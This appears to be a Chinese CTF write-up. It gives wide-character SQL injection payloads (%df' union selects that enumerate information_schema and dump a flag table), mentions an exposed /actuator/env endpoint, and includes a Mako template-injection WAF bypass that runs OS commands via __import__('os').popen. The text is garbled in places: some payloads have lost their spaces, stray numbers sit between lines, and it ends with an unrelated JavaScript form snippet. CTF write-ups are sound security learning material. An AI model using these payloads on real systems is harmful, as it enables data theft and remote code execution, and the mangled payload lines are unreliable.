进行传统的注入 1',1' and 1=2--+,1' or 1=1--+ 回显均为查询 id=1 的内容,延时盲注也失败,说明注入的查询语句全都转换为 1,猜测后端使用 addslashes() 对我们的 sql 语句进行转义处理,mysql 自身进行隐式转换,如果 mysql 采用 GBK 编码,我们就能通过宽字符注入吃掉反斜杠:
报错恰好反映了单引号闭合,宽字符注入成功,接下来就是常规注入了
爆破字段数:
1
?id=%df' order by 5--+
爆破表名:
1 2 3
?id=%df' union select 1,user(),version(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+ # 或者 ?id=%df'unionselect TABLE_NAME,TABLE_SCHEMA,3,4,5FROM information_schema.TABLES--+
爆破字段:
1
?id=%df' union select 1,user(),version(),database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_store')--+
?id=%df' union select 1,user(),version(),database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C61675F73746F7265--+ ?id=%df'unionselect1,user(),version(),database(),group_concat(column_name) from information_schema.columns where%20table_schema=database() and table_name=CHAR(102,108,97,103,95,115,116,111,114,101)--+
爆数据:
1
?id=%df' union select 1,user(),version(),database(),flag from flag_store--+
华辰企业服务运营平台
目录扫描目录得 /actuator/env,访问直出
lit_ezssti
尝试传统的 Jinja 模板注入 {{7*7}},原样回显,得先判断模板引擎了
waf:. 、$var=、${、<%=、<#、flag,[,]
1 2 3
% ifTrue: G3ng4r % endif
这正是 Mako 模板引擎的语法结构,这里 . 被 waf,采用 getattr() 绕过,然后利用 int()尝试把 flag 字符串转成整数失败,报错回显出 flag
1 2
% if (int(getattr(getattr(__import__('os'),'popen')('cat /f*'),'read')()),): % endif
var form = document.querySelector("form[data-auth='portal']"); if (form) { form.addEventListener("submit", function () { form.classList.add("is-submitting"); }); } })();